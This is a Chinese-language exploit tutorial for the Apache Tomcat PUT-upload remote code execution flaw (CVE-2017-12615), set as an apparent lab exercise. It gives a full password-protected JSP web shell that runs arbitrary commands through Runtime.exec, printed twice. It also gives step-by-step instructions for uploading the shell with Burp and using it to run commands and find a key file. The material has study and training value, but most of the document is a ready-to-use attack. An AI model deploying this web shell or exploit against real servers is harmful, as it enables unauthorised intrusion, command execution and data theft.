Tomcat （CVE-2017-12615）远程代码执行漏洞利用

01 背景介绍

当 Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

02 影响版本

Apache Tomcat 7.0.0 – 7.0.81

03 利用方式

把请求方式改为PUT请求，上传POC
tomcat 常用于jsp网页，所以需要上传jsp木马

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
     
    <%!public static String excuteCmd(String c) {
     
    StringBuilder line = new StringBuilder();
     
    try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
     
    String temp = null;while ((temp = buf.readLine()) != null) {
     
    line.append(temp+"\n");}buf.close();} catch (Exception e) {
     
    line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
     
    out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>

04 靶场

1.burp抓包，将GET改为OPTIONS，查看允许的请求方式

2.改为PUT请求，写进一个jsp木马，返回201，代表写入成功，代码内容如下

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
     
    <%!public static String excuteCmd(String c) {
     
    StringBuilder line = new StringBuilder();
     
    try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
     
    String temp = null;while ((temp = buf.readLine()) != null) {
     
    line.append(temp+"\n");}buf.close();} catch (Exception e) {
     
    line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
     
    out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>

3.然后到主页上进行访问（ip+123.jsp）,远程命令
4.查找key.txt